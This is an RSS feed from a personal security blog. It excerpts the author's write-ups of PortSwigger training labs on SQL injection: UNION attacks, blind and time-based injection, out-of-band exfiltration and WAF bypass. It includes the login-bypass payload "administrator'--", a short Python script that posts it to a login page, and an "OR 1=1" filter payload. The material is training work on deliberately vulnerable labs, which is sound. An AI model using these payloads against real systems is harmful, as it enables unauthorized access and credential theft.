<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>SQL Injection on an's security blog</title><link>https://panman4040.github.io/training/portswigger/sqli/</link><description>Recent content in SQL Injection on an's security blog</description><generator>Hugo</generator><language>en</language><lastBuildDate>Fri, 17 Jul 2026 10:10:16 +0700</lastBuildDate><atom:link href="https://panman4040.github.io/training/portswigger/sqli/index.xml" rel="self" type="application/rss+xml"/><item><title>SQL injection with filter bypass via XML encoding | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner12/</link><pubDate>Thu, 16 Jul 2026 16:17:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner12/</guid><description>&lt;p>This lab contains a SQLi vulnerability in the stock check feature, in which the results from the query are returned in the application&amp;rsquo;s response. So we can probably use &lt;code>UNION&lt;/code> attacks to retrieve data from other tables:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-16_16-20-05-703.png" alt="">&lt;/p>
&lt;p>Let&amp;rsquo;s try inserting a &lt;code>UNION SELECT&lt;/code> to see what&amp;rsquo;s up, just for fun:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-16_16-22-12-133.png" alt="">&lt;/p>
&lt;p>Looks like there is a WAF in place that filters out possible injection attempts, which is kinda bad. But is it bulletproof? Can it detect an injected query that is encoded once? Twice? Thrice? For this lab, I will be using the Hackvertor extension which is a Swiss knife for everything data, decoding, encryption, encoding, the whole shabang.&lt;/p></description></item><item><title>Blind SQL injection with out-of-band data exfiltration | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner11/</link><pubDate>Thu, 16 Jul 2026 15:24:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner11/</guid><description>&lt;p>(lab requires Burp Pro)&lt;/p>
&lt;p>The application&amp;rsquo;s tracking cookie is still vulnerable to SQLi. But unlike previous labs, the SQL query is executed asynchronously and has no effect on the application&amp;rsquo;s response. So all our methods previously will fail to yield results.&lt;/p>
&lt;p>However, we can trigger out-of-band interactions with an external domain. There are quite a lot of network protocols that we can use but the most likely to succeed is &lt;strong>DNS&lt;/strong>, since almost all networks should allow outbound DNS resolution (or it will break duh). The syntax for data exfil can be found in this &lt;a href="https://portswigger.net/web-security/sql-injection/cheat-sheet">cheat sheet&lt;/a> here, quite complex syntax so I won&amp;rsquo;t dive too deep into that for this writeup.
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-16_15-41-58-270.jpg" alt="">&lt;/p></description></item><item><title>Blind SQL injection with time delays and information retrieval | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner10/</link><pubDate>Thu, 16 Jul 2026 14:02:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner10/</guid><description>&lt;p>Similar to &lt;a href="https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner7/">this lab&lt;/a>, an SQLi vulnerability exists within &lt;code>trackingId&lt;/code>. But the results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error.&lt;/p>
&lt;p>But the problem statement does mention that it&amp;rsquo;s possible to trigger time delays (duh), we are going to do just that. Let&amp;rsquo;s start by finding out which database type we are dealing with first, and after some trials and errors we should be able to determine that this is a &lt;strong>PostgreSQL&lt;/strong> database - evident by the &lt;code>pg_sleep()&lt;/code> syntax:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-16_13-46-48-016.png" alt="">&lt;/p></description></item><item><title>Visible error-based SQL injection | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner9/</link><pubDate>Thu, 16 Jul 2026 10:57:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner9/</guid><description>&lt;p>Similar to &lt;a href="https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner7/">this lab&lt;/a>, an SQLi vulnerability exists within &lt;code>trackingId&lt;/code>. But this time, the server returns &amp;ldquo;helpful&amp;rdquo; error messages in its response. Take a look at the response when I tried to inject &lt;code>' AND 1=1&lt;/code> (ending single quote deliberately excluded):
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-16_10-37-20-841.png" alt="">&lt;/p>
&lt;p>The server literally hands out the entire server-side query being executed. Since we know there is an &lt;code>users&lt;/code> table, we can just perform a &lt;code>SELECT&lt;/code> query for the &lt;code>administrator&lt;/code> user right? Turns out there&amp;rsquo;s actually a character limit, and if our injected query gets too long then it will be truncated:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-16_10-41-53-026.png" alt="">&lt;/p></description></item><item><title>Blind SQL injection with conditional errors | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner8/</link><pubDate>Thu, 16 Jul 2026 10:02:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner8/</guid><description>&lt;p>This lab is quite similar to &lt;a href="https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner7/">last lab&lt;/a>, with an SQLi present in the tracking cookie. But this time there is no &lt;code>Welcome back!&lt;/code> message or the like, so we cannot rely on the server to hand out freebies for us (rip). Notice that the server still processes nonsense injected SQL query inside &lt;code>trackingId&lt;/code>, evident by this 500:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-16_09-15-02-750.png" alt="">&lt;/p>
&lt;p>This gives us an idea, if the server does not reflect invalid query in the response, perhaps we can &lt;em>make it does&lt;/em>? We can instead modify the query so that it causes a &lt;strong>database error&lt;/strong> only if some conditions are satisfied, for example:&lt;/p></description></item><item><title>Blind SQL injection with conditional responses | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner7/</link><pubDate>Wed, 15 Jul 2026 15:15:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner7/</guid><description>&lt;p>The problem statement states that there is a &lt;em>tracking cookie&lt;/em> used, and the server performs SQL queries containing the value of the submitted cookie. The results of the SQL query are not returned, and no error messages are displayed. But the application includes a &lt;code>Welcome back&lt;/code> message in the page if the query returns any rows.&lt;/p>
&lt;p>And the database contains a different table called &lt;code>users&lt;/code>, with columns called &lt;code>username&lt;/code> and &lt;code>password&lt;/code>. So no need for database type and version fingerprinting.
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_15-20-13-664.png" alt="">&lt;/p></description></item><item><title>SQL injection attack, listing the database contents on non-Oracle databases | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner6/</link><pubDate>Wed, 15 Jul 2026 13:01:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner6/</guid><description>&lt;p>Unlike previous labs where we are given the table names and its columns names already, this time we have to find them ourselves. Thankfully, every database contains what are called &lt;strong>schemas&lt;/strong> - metadata about every other database. On non-Oracle databases, it&amp;rsquo;s usually &lt;code>information_schema.tables&lt;/code>.&lt;/p>
&lt;p>But before extracting data, we will need to &lt;a href="https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner1/">find out the number of columns in the filter table&lt;/a>. In this case, there are two columns:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_13-49-40-306.png" alt="">&lt;/p>
&lt;p>Since injection is possible, one may think to query for everything inside the schema right? But since we are only given two columns to work with, and the schema table &lt;em>may contain&lt;/em> more than two, it&amp;rsquo;s not possible to extract every data using &lt;code>UNION SELECT&lt;/code> this way:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_13-50-22-363.png" alt="">&lt;/p></description></item><item><title>SQL injection attack, querying the database type and version on Oracle | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner5/</link><pubDate>Wed, 15 Jul 2026 10:01:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner5/</guid><description>&lt;p>In this lab, we are tasked with finding the version of an Oracle database. The query syntax is as follow:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sql" data-lang="sql">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">SELECT&lt;/span> banner &lt;span style="color:#66d9ef">FROM&lt;/span> v$version
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">SELECT&lt;/span> &lt;span style="color:#66d9ef">version&lt;/span> &lt;span style="color:#66d9ef">FROM&lt;/span> v$instance
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>First, we will need to find out &lt;a href="https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner1/">how many columns there are&lt;/a>. One thing about Oracle is that every &lt;code>SELECT&lt;/code> must use the &lt;code>FROM&lt;/code> keyword and specify a valid table. Since we are probing for &lt;code>NULL&lt;/code>s, we should query from the built-in table &lt;code>DUAL&lt;/code> otherwise our injected query will return 500:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_10-10-07-263.png" alt="">
We now know that there are two columns in the filter table, we can then use either query syntax above to probe for the Oracle version as follow:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_10-11-22-986.png" alt="">&lt;/p></description></item><item><title>SQL injection UNION attack, retrieving multiple values in a single column | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner4/</link><pubDate>Wed, 15 Jul 2026 09:30:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner4/</guid><description>&lt;p>Similar to &lt;a href="https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner3/">this lab&lt;/a>, our goal is to extract data from the table &lt;code>users&lt;/code>, with &lt;code>username&lt;/code> and &lt;code>password&lt;/code> stored &lt;em>in plaintext&lt;/em>.&lt;/p>
&lt;p>First, we will need to find out how many columns does the &amp;ldquo;filter table&amp;rdquo; contain:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_09-27-01-867.png" alt="">
Again, there are two columns which is &lt;em>convenient&lt;/em> for us as &lt;code>users&lt;/code> also has two columns. What about the data types hold by those two columns?
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_09-27-17-694.png" alt="">
Unfortunately, not all columns can hold string data which is kinda bad news for us. Though it does return a 500 which means it&amp;rsquo;s processing our injected query server-side. Let&amp;rsquo;s find out which of the two columns holds those strings:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_09-27-31-439.png" alt="">
So the silver lining is that &lt;em>one&lt;/em> column can hold strings. However, &lt;code>users&lt;/code> has two values to be fetched, meaning we will have to somehow combine two entries into one. This can be done by string concatenation, whereas &lt;code>username&lt;/code> and &lt;code>password&lt;/code> will be added together, separated by an unique symbol.&lt;/p></description></item><item><title>SQL injection UNION attack, retrieving data from other tables | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner3/</link><pubDate>Wed, 15 Jul 2026 09:06:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner3/</guid><description>&lt;p>The problem statement hints at the existence of an &lt;code>users&lt;/code> table, with columns &lt;code>username&lt;/code> and &lt;code>password&lt;/code> (surprisingly stored in plaintext). So now our job is to fetch its content and log in as &lt;code>administrator&lt;/code>.&lt;/p>
&lt;p>First, we need to find how many columns in the &amp;ldquo;filter table&amp;rdquo;. Refer to &lt;a href="https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner1/">this lab&lt;/a> if you are not familiar with the technique:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_09-13-17-902.png" alt="">&lt;/p>
&lt;p>There are two columns in this table, which is &lt;em>quite convenient&lt;/em> for us as &lt;code>users&lt;/code> also has two columns. What about the data type stored?
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_09-13-41-766.png" alt="">
Again, both columns can hold strings which is &lt;em>even more convenient&lt;/em> for us as the two columns in &lt;code>users&lt;/code> are also of string data type. Since we know what the columns&amp;rsquo; names in &lt;code>users&lt;/code> are, retrieving the credentials is trivial with the following injected query:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_09-14-20-676.png" alt="">&lt;/p></description></item><item><title>SQL injection UNION attack, finding a column containing text | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner2/</link><pubDate>Wed, 15 Jul 2026 08:41:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner2/</guid><description>&lt;p>The problem statement hints at the filter functionality has an SQLi vulnerability, and similar to &lt;a href="https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner1/">last lab&lt;/a> we have to find how many columns are there first, then find out which column holds string data.&lt;/p>
&lt;p>Finding the number of columns is trivial, either use order by index or union select with &lt;code>NULL&lt;/code>:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_08-45-26-423.png" alt="">&lt;/p>
&lt;p>We now know that there are 3 columns in the table. However our goal is to make the backend returns a certain canary, but we don&amp;rsquo;t know which column is compatible with string data yet. This is quite simple, all we have to do is place some string value into each column in turn:&lt;/p></description></item><item><title>SQL injection UNION attack, determining the number of columns returned by the query | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner1/</link><pubDate>Tue, 14 Jul 2026 14:19:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner1/</guid><description>&lt;p>The most glaring functionality present is filtering products by category, as shown here:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-14_16-06-18-933.png" alt="">&lt;/p>
&lt;p>As reflected in the lab&amp;rsquo;s name, the first step of a UNION-based SQLi is to determine the &lt;strong>number of columns&lt;/strong>. We can either union order by index or select by &lt;code>NULL&lt;/code>, whatever floats your boat.&lt;/p>
&lt;p>Note that &lt;code>NULL&lt;/code> works because it&amp;rsquo;s convertible to every common data type, thus makes our payload more likely to succeed.&lt;/p>
&lt;p>Assuming there is no WAF nor client-side filters in place (which there aren&amp;rsquo;t), we can apply our elementary payload:&lt;/p></description></item><item><title>SQL injection vulnerability allowing login bypass | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_apprentice2/</link><pubDate>Wed, 03 Jun 2026 15:22:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_apprentice2/</guid><description>&lt;p>Very straightforward lab. Since we are trying to login as &lt;code>administrator&lt;/code>, we can simply bypass the password check by having our payload as follow:&lt;/p>
&lt;pre tabindex="0">&lt;code>administrator&amp;#39;--
&lt;/code>&lt;/pre>&lt;p>The trailing &lt;code>--&lt;/code> will comment out everything proceeding it, thus skipping the password check&lt;/p>
&lt;p>Alternatively, we can solve this with a Python script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> webbrowser
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> requests
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> sys
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> urllib.parse
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">def&lt;/span> &lt;span style="color:#a6e22e">inject&lt;/span>(url):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Remove trailing slash&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> url &lt;span style="color:#f92672">=&lt;/span> url&lt;span style="color:#f92672">.&lt;/span>rstrip(&lt;span style="color:#e6db74">&amp;#34;/&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Preparing payload&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> url &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">f&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">{&lt;/span>url&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">/login&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> params &lt;span style="color:#f92672">=&lt;/span> {&lt;span style="color:#e6db74">&amp;#34;username&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;administrator&amp;#39;--&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;password&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;qwerty&amp;#34;&lt;/span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Initiate request&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> response &lt;span style="color:#f92672">=&lt;/span> requests&lt;span style="color:#f92672">.&lt;/span>post(url, data&lt;span style="color:#f92672">=&lt;/span>params, allow_redirects&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#66d9ef">True&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Verify status code and open the webpage&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> response&lt;span style="color:#f92672">.&lt;/span>status_code &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">200&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#e6db74">&amp;#34;Log out&amp;#34;&lt;/span> &lt;span style="color:#f92672">in&lt;/span> response&lt;span style="color:#f92672">.&lt;/span>text:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> print(&lt;span style="color:#e6db74">&amp;#34;Log in as administrator!&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">else&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> print(&lt;span style="color:#e6db74">&amp;#34;Failed to log in. Try again&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">else&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> print(&lt;span style="color:#e6db74">&amp;#34;Cannot initiate request&amp;#34;&lt;/span>) 
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> __name__ &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#34;__main__&amp;#34;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> len(sys&lt;span style="color:#f92672">.&lt;/span>argv) &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> print(&lt;span style="color:#e6db74">f&lt;/span>&lt;span style="color:#e6db74">&amp;#34;Usage: python3 &lt;/span>&lt;span style="color:#e6db74">{&lt;/span>sys&lt;span style="color:#f92672">.&lt;/span>argv[&lt;span style="color:#ae81ff">0&lt;/span>]&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74"> &amp;lt;url&amp;gt;&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sys&lt;span style="color:#f92672">.&lt;/span>exit(&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> inject(sys&lt;span style="color:#f92672">.&lt;/span>argv[&lt;span style="color:#ae81ff">1&lt;/span>])
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>SQL injection vulnerability in WHERE clause allowing retrieval of hidden data | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_apprentice1/</link><pubDate>Wed, 03 Jun 2026 14:31:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_apprentice1/</guid><description>&lt;p>We know that the application carry out the following query:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sql" data-lang="sql">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">SELECT&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#66d9ef">FROM&lt;/span> products &lt;span style="color:#66d9ef">WHERE&lt;/span> category &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;Gifts&amp;#39;&lt;/span> &lt;span style="color:#66d9ef">AND&lt;/span> released &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To view all the unreleased product, my payload is:&lt;/p>
&lt;pre tabindex="0">&lt;code>Pets&amp;#39; OR 1=1 AND released = 0--
&lt;/code>&lt;/pre>&lt;p>The &lt;code>1=1&lt;/code> expression ensures the application displays every category. Thus the query shall be:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sql" data-lang="sql">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">SELECT&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#66d9ef">FROM&lt;/span> products &lt;span style="color:#66d9ef">WHERE&lt;/span> category &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;Pets&amp;#39;&lt;/span> &lt;span style="color:#66d9ef">OR&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#66d9ef">AND&lt;/span> released &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#75715e">--&amp;#39; AND released = 1
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Alternatively, we can &amp;ldquo;automate&amp;rdquo; this with the following Python script. This can serve as a barebone template for future use:&lt;/p></description></item></channel></rss>